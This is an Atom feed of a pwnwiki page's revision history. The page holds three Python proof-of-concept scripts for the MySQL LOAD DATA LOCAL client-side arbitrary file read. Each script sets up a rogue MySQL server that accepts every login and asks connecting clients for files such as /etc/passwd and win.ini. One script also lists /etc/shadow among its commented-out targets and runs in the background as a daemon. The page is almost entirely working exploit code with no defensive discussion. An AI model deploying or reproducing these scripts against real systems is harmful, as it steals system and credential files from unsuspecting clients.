<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=Mysql_LOAD_DATA_%E5%AE%A2%E6%88%B6%E7%AB%AF%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AE%80%E5%8F%96%E6%BC%8F%E6%B4%9E</id>
	<title>Mysql LOAD DATA 客戶端任意文件讀取漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=Mysql_LOAD_DATA_%E5%AE%A2%E6%88%B6%E7%AB%AF%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AE%80%E5%8F%96%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Mysql_LOAD_DATA_%E5%AE%A2%E6%88%B6%E7%AB%AF%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AE%80%E5%8F%96%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-16T21:24:59Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=Mysql_LOAD_DATA_%E5%AE%A2%E6%88%B6%E7%AB%AF%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AE%80%E5%8F%96%E6%BC%8F%E6%B4%9E&amp;diff=6647&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==POC1== &lt;pre&gt; #!/usr/bin/python #coding: utf8 import socket  # linux : #filestring = &quot;/etc/passwd&quot; # windows: #filestring = &quot;C:\Windows\system32\drivers\etc\hosts&quot; HOST = &quot;0....&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Mysql_LOAD_DATA_%E5%AE%A2%E6%88%B6%E7%AB%AF%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AE%80%E5%8F%96%E6%BC%8F%E6%B4%9E&amp;diff=6647&amp;oldid=prev"/>
		<updated>2021-07-10T07:20:26Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==POC1== &amp;lt;pre&amp;gt; #!/usr/bin/python #coding: utf8 import socket  # linux : #filestring = &amp;quot;/etc/passwd&amp;quot; # windows: #filestring = &amp;quot;C:\Windows\system32\drivers\etc\hosts&amp;quot; HOST = &amp;quot;0....&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==POC1==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#!/usr/bin/python&lt;br /&gt;
#coding: utf8&lt;br /&gt;
import socket&lt;br /&gt;
&lt;br /&gt;
# linux :&lt;br /&gt;
#filestring = &amp;quot;/etc/passwd&amp;quot;&lt;br /&gt;
# windows:&lt;br /&gt;
#filestring = &amp;quot;C:\Windows\system32\drivers\etc\hosts&amp;quot;&lt;br /&gt;
HOST = &amp;quot;0.0.0.0&amp;quot; # open for eeeeveryone! ^_^&lt;br /&gt;
PORT = 3306&lt;br /&gt;
BUFFER_SIZE = 1024&lt;br /&gt;
&lt;br /&gt;
#1 Greeting&lt;br /&gt;
greeting = &amp;quot;\x5b\x00\x00\x00\x0a\x35\x2e\x36\x2e\x32\x38\x2d\x30\x75\x62\x75\x6e\x74\x75\x30\x2e\x31\x34\x2e\x30\x34\x2e\x31\x00\x2d\x00\x00\x00\x40\x3f\x59\x26\x4b\x2b\x34\x60\x00\xff\xf7\x08\x02\x00\x7f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x68\x69\x59\x5f\x52\x5f\x63\x55\x60\x64\x53\x52\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00&amp;quot;&lt;br /&gt;
#2 Accept all authentications&lt;br /&gt;
authok = &amp;quot;\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00&amp;quot;&lt;br /&gt;
&lt;br /&gt;
#3 Payload&lt;br /&gt;
#数据包长度&lt;br /&gt;
payloadlen = &amp;quot;\x0c&amp;quot;&lt;br /&gt;
padding = &amp;quot;\x00\x00&amp;quot;&lt;br /&gt;
payload = payloadlen + padding +  &amp;quot;\x01\xfb\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64&amp;quot;&lt;br /&gt;
&lt;br /&gt;
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)&lt;br /&gt;
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)&lt;br /&gt;
s.bind((HOST, PORT))&lt;br /&gt;
s.listen(1)&lt;br /&gt;
&lt;br /&gt;
while True:&lt;br /&gt;
    conn, addr = s.accept()&lt;br /&gt;
&lt;br /&gt;
    print 'Connection from:', addr&lt;br /&gt;
    conn.send(greeting)&lt;br /&gt;
    while True:&lt;br /&gt;
        data = conn.recv(BUFFER_SIZE)&lt;br /&gt;
        print &amp;quot; &amp;quot;.join(&amp;quot;%02x&amp;quot; % ord(i) for i in data)&lt;br /&gt;
        conn.send(authok)&lt;br /&gt;
        data = conn.recv(BUFFER_SIZE)&lt;br /&gt;
        conn.send(payload)&lt;br /&gt;
        print &amp;quot;[*] Payload send!&amp;quot;&lt;br /&gt;
        data = conn.recv(BUFFER_SIZE)&lt;br /&gt;
        if not data: break&lt;br /&gt;
        print &amp;quot;Data received:&amp;quot;, data&lt;br /&gt;
        break&lt;br /&gt;
    # Don't leave the connection open.&lt;br /&gt;
    conn.close()&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
==POC2==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#coding=utf-8 &lt;br /&gt;
import socket&lt;br /&gt;
import logging&lt;br /&gt;
logging.basicConfig(level=logging.DEBUG)&lt;br /&gt;
filename=&amp;quot;C:\\Windows\\win.ini&amp;quot;&lt;br /&gt;
sv=socket.socket()&lt;br /&gt;
sv.bind((&amp;quot;&amp;quot;,3306))&lt;br /&gt;
sv.listen(5)&lt;br /&gt;
conn,address=sv.accept()&lt;br /&gt;
logging.info('Conn from: %r', address)&lt;br /&gt;
conn.sendall(&amp;quot;\x4a\x00\x00\x00\x0a\x35\x2e\x35\x2e\x35\x33\x00\x17\x00\x00\x00\x6e\x7a\x3b\x54\x76\x73\x61\x6a\x00\xff\xf7\x21\x02\x00\x0f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x76\x21\x3d\x50\x5c\x5a\x32\x2a\x7a\x49\x3f\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00&amp;quot;)&lt;br /&gt;
conn.recv(9999)&lt;br /&gt;
logging.info(&amp;quot;auth okay&amp;quot;)&lt;br /&gt;
conn.sendall(&amp;quot;\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00&amp;quot;)&lt;br /&gt;
conn.recv(9999)&lt;br /&gt;
logging.info(&amp;quot;want file...&amp;quot;)&lt;br /&gt;
wantfile=chr(len(filename)+1)+&amp;quot;\x00\x00\x01\xFB&amp;quot;+filename&lt;br /&gt;
conn.sendall(wantfile)&lt;br /&gt;
content=conn.recv(9999)&lt;br /&gt;
logging.info(content)&lt;br /&gt;
conn.close()&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==POC3==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#!/usr/bin/env python&lt;br /&gt;
#coding: utf8&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
import socket&lt;br /&gt;
import asyncore&lt;br /&gt;
import asynchat&lt;br /&gt;
import struct&lt;br /&gt;
import random&lt;br /&gt;
import logging&lt;br /&gt;
import logging.handlers&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
PORT = 3306&lt;br /&gt;
&lt;br /&gt;
log = logging.getLogger(__name__)&lt;br /&gt;
&lt;br /&gt;
log.setLevel(logging.DEBUG)&lt;br /&gt;
tmp_format = logging.handlers.WatchedFileHandler('mysql.log', 'ab')&lt;br /&gt;
tmp_format.setFormatter(logging.Formatter(&amp;quot;%(asctime)s:%(levelname)s:%(message)s&amp;quot;))&lt;br /&gt;
log.addHandler(&lt;br /&gt;
    tmp_format&lt;br /&gt;
)&lt;br /&gt;
&lt;br /&gt;
filelist = (&lt;br /&gt;
#    r'c:\boot.ini',&lt;br /&gt;
    r'c:\windows\win.ini',&lt;br /&gt;
#    r'c:\windows\system32\drivers\etc\hosts',&lt;br /&gt;
#    '/etc/passwd',&lt;br /&gt;
#    '/etc/shadow',&lt;br /&gt;
)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
#================================================&lt;br /&gt;
#=======No need to change after this lines=======&lt;br /&gt;
#================================================&lt;br /&gt;
&lt;br /&gt;
__author__ = 'Gifts'&lt;br /&gt;
&lt;br /&gt;
def daemonize():&lt;br /&gt;
    import os, warnings&lt;br /&gt;
    if os.name != 'posix':&lt;br /&gt;
        warnings.warn('Cant create daemon on non-posix system')&lt;br /&gt;
        return&lt;br /&gt;
&lt;br /&gt;
    if os.fork(): os._exit(0)&lt;br /&gt;
    os.setsid()&lt;br /&gt;
    if os.fork(): os._exit(0)&lt;br /&gt;
    os.umask(0o022)&lt;br /&gt;
    null=os.open('/dev/null', os.O_RDWR)&lt;br /&gt;
    for i in xrange(3):&lt;br /&gt;
        try:&lt;br /&gt;
            os.dup2(null, i)&lt;br /&gt;
        except OSError as e:&lt;br /&gt;
            if e.errno != 9: raise&lt;br /&gt;
    os.close(null)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
class LastPacket(Exception):&lt;br /&gt;
    pass&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
class OutOfOrder(Exception):&lt;br /&gt;
    pass&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
class mysql_packet(object):&lt;br /&gt;
    packet_header = struct.Struct('&amp;lt;Hbb')&lt;br /&gt;
    packet_header_long = struct.Struct('&amp;lt;Hbbb')&lt;br /&gt;
    def __init__(self, packet_type, payload):&lt;br /&gt;
        if isinstance(packet_type, mysql_packet):&lt;br /&gt;
            self.packet_num = packet_type.packet_num + 1&lt;br /&gt;
        else:&lt;br /&gt;
            self.packet_num = packet_type&lt;br /&gt;
        self.payload = payload&lt;br /&gt;
&lt;br /&gt;
    def __str__(self):&lt;br /&gt;
        payload_len = len(self.payload)&lt;br /&gt;
        if payload_len &amp;lt; 65536:&lt;br /&gt;
            header = mysql_packet.packet_header.pack(payload_len, 0, self.packet_num)&lt;br /&gt;
        else:&lt;br /&gt;
            header = mysql_packet.packet_header.pack(payload_len &amp;amp; 0xFFFF, payload_len &amp;gt;&amp;gt; 16, 0, self.packet_num)&lt;br /&gt;
&lt;br /&gt;
        result = &amp;quot;{0}{1}&amp;quot;.format(&lt;br /&gt;
            header,&lt;br /&gt;
            self.payload&lt;br /&gt;
        )&lt;br /&gt;
        return result&lt;br /&gt;
&lt;br /&gt;
    def __repr__(self):&lt;br /&gt;
        return repr(str(self))&lt;br /&gt;
&lt;br /&gt;
    @staticmethod&lt;br /&gt;
    def parse(raw_data):&lt;br /&gt;
        packet_num = ord(raw_data[0])&lt;br /&gt;
        payload = raw_data[1:]&lt;br /&gt;
&lt;br /&gt;
        return mysql_packet(packet_num, payload)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
class http_request_handler(asynchat.async_chat):&lt;br /&gt;
&lt;br /&gt;
    def __init__(self, addr):&lt;br /&gt;
        asynchat.async_chat.__init__(self, sock=addr[0])&lt;br /&gt;
        self.addr = addr[1]&lt;br /&gt;
        self.ibuffer = []&lt;br /&gt;
        self.set_terminator(3)&lt;br /&gt;
        self.state = 'LEN'&lt;br /&gt;
        self.sub_state = 'Auth'&lt;br /&gt;
        self.logined = False&lt;br /&gt;
        self.push(&lt;br /&gt;
            mysql_packet(&lt;br /&gt;
                0,&lt;br /&gt;
                &amp;quot;&amp;quot;.join((&lt;br /&gt;
                    '\x0a',  # Protocol&lt;br /&gt;
                    '3.0.0-Evil_Mysql_Server' + '\0',  # Version&lt;br /&gt;
                    #'5.1.66-0+squeeze1' + '\0',&lt;br /&gt;
                    '\x36\x00\x00\x00',  # Thread ID&lt;br /&gt;
                    'evilsalt' + '\0',  # Salt&lt;br /&gt;
                    '\xdf\xf7',  # Capabilities&lt;br /&gt;
                    '\x08',  # Collation&lt;br /&gt;
                    '\x02\x00',  # Server Status&lt;br /&gt;
                    '\0' * 13,  # Unknown&lt;br /&gt;
                    'evil2222' + '\0',&lt;br /&gt;
                ))&lt;br /&gt;
            )&lt;br /&gt;
        )&lt;br /&gt;
&lt;br /&gt;
        self.order = 1&lt;br /&gt;
        self.states = ['LOGIN', 'CAPS', 'ANY']&lt;br /&gt;
&lt;br /&gt;
    def push(self, data):&lt;br /&gt;
        log.debug('Pushed: %r', data)&lt;br /&gt;
        data = str(data)&lt;br /&gt;
        asynchat.async_chat.push(self, data)&lt;br /&gt;
&lt;br /&gt;
    def collect_incoming_data(self, data):&lt;br /&gt;
        log.debug('Data recved: %r', data)&lt;br /&gt;
        self.ibuffer.append(data)&lt;br /&gt;
&lt;br /&gt;
    def found_terminator(self):&lt;br /&gt;
        data = &amp;quot;&amp;quot;.join(self.ibuffer)&lt;br /&gt;
        self.ibuffer = []&lt;br /&gt;
&lt;br /&gt;
        if self.state == 'LEN':&lt;br /&gt;
            len_bytes = ord(data[0]) + 256*ord(data[1]) + 65536*ord(data[2]) + 1&lt;br /&gt;
            if len_bytes &amp;lt; 65536:&lt;br /&gt;
                self.set_terminator(len_bytes)&lt;br /&gt;
                self.state = 'Data'&lt;br /&gt;
            else:&lt;br /&gt;
                self.state = 'MoreLength'&lt;br /&gt;
        elif self.state == 'MoreLength':&lt;br /&gt;
            if data[0] != '\0':&lt;br /&gt;
                self.push(None)&lt;br /&gt;
                self.close_when_done()&lt;br /&gt;
            else:&lt;br /&gt;
                self.state = 'Data'&lt;br /&gt;
        elif self.state == 'Data':&lt;br /&gt;
            packet = mysql_packet.parse(data)&lt;br /&gt;
            try:&lt;br /&gt;
                if self.order != packet.packet_num:&lt;br /&gt;
                    raise OutOfOrder()&lt;br /&gt;
                else:&lt;br /&gt;
                    # Fix ?&lt;br /&gt;
                    self.order = packet.packet_num + 2&lt;br /&gt;
                if packet.packet_num == 0:&lt;br /&gt;
                    if packet.payload[0] == '\x03':&lt;br /&gt;
                        log.info('Query')&lt;br /&gt;
&lt;br /&gt;
                        filename = random.choice(filelist)&lt;br /&gt;
                        PACKET = mysql_packet(&lt;br /&gt;
                            packet,&lt;br /&gt;
                            '\xFB{0}'.format(filename)&lt;br /&gt;
                        )&lt;br /&gt;
                        self.set_terminator(3)&lt;br /&gt;
                        self.state = 'LEN'&lt;br /&gt;
                        self.sub_state = 'File'&lt;br /&gt;
                        self.push(PACKET)&lt;br /&gt;
                    elif packet.payload[0] == '\x1b':&lt;br /&gt;
                        log.info('SelectDB')&lt;br /&gt;
                        self.push(mysql_packet(&lt;br /&gt;
                            packet,&lt;br /&gt;
                            '\xfe\x00\x00\x02\x00'&lt;br /&gt;
                        ))&lt;br /&gt;
                        raise LastPacket()&lt;br /&gt;
                    elif packet.payload[0] in '\x02':&lt;br /&gt;
                        self.push(mysql_packet(&lt;br /&gt;
                            packet, '\0\0\0\x02\0\0\0'&lt;br /&gt;
                        ))&lt;br /&gt;
                        raise LastPacket()&lt;br /&gt;
                    elif packet.payload == '\x00\x01':&lt;br /&gt;
                        self.push(None)&lt;br /&gt;
                        self.close_when_done()&lt;br /&gt;
                    else:&lt;br /&gt;
                        raise ValueError()&lt;br /&gt;
                else:&lt;br /&gt;
                    if self.sub_state == 'File':&lt;br /&gt;
                        log.info('-- result')&lt;br /&gt;
                        log.info('Result: %r', data)&lt;br /&gt;
&lt;br /&gt;
                        if len(data) == 1:&lt;br /&gt;
                            self.push(&lt;br /&gt;
                                mysql_packet(packet, '\0\0\0\x02\0\0\0')&lt;br /&gt;
                            )&lt;br /&gt;
                            raise LastPacket()&lt;br /&gt;
                        else:&lt;br /&gt;
                            self.set_terminator(3)&lt;br /&gt;
                            self.state = 'LEN'&lt;br /&gt;
                            self.order = packet.packet_num + 1&lt;br /&gt;
&lt;br /&gt;
                    elif self.sub_state == 'Auth':&lt;br /&gt;
                        self.push(mysql_packet(&lt;br /&gt;
                            packet, '\0\0\0\x02\0\0\0'&lt;br /&gt;
                        ))&lt;br /&gt;
                        raise LastPacket()&lt;br /&gt;
                    else:&lt;br /&gt;
                        log.info('-- else')&lt;br /&gt;
                        raise ValueError('Unknown packet')&lt;br /&gt;
            except LastPacket:&lt;br /&gt;
                log.info('Last packet')&lt;br /&gt;
                self.state = 'LEN'&lt;br /&gt;
                self.sub_state = None&lt;br /&gt;
                self.order = 0&lt;br /&gt;
                self.set_terminator(3)&lt;br /&gt;
            except OutOfOrder:&lt;br /&gt;
                log.warning('Out of order')&lt;br /&gt;
                self.push(None)&lt;br /&gt;
                self.close_when_done()&lt;br /&gt;
        else:&lt;br /&gt;
            log.error('Unknown state')&lt;br /&gt;
            self.push('None')&lt;br /&gt;
            self.close_when_done()&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
class mysql_listener(asyncore.dispatcher):&lt;br /&gt;
    def __init__(self, sock=None):&lt;br /&gt;
        asyncore.dispatcher.__init__(self, sock)&lt;br /&gt;
&lt;br /&gt;
        if not sock:&lt;br /&gt;
            self.create_socket(socket.AF_INET, socket.SOCK_STREAM)&lt;br /&gt;
            self.set_reuse_addr()&lt;br /&gt;
            try:&lt;br /&gt;
                self.bind(('', PORT))&lt;br /&gt;
            except socket.error:&lt;br /&gt;
                exit()&lt;br /&gt;
&lt;br /&gt;
            self.listen(5)&lt;br /&gt;
&lt;br /&gt;
    def handle_accept(self):&lt;br /&gt;
        pair = self.accept()&lt;br /&gt;
&lt;br /&gt;
        if pair is not None:&lt;br /&gt;
            log.info('Conn from: %r', pair[1])&lt;br /&gt;
            tmp = http_request_handler(pair)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
z = mysql_listener()&lt;br /&gt;
daemonize()&lt;br /&gt;
asyncore.loop()&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>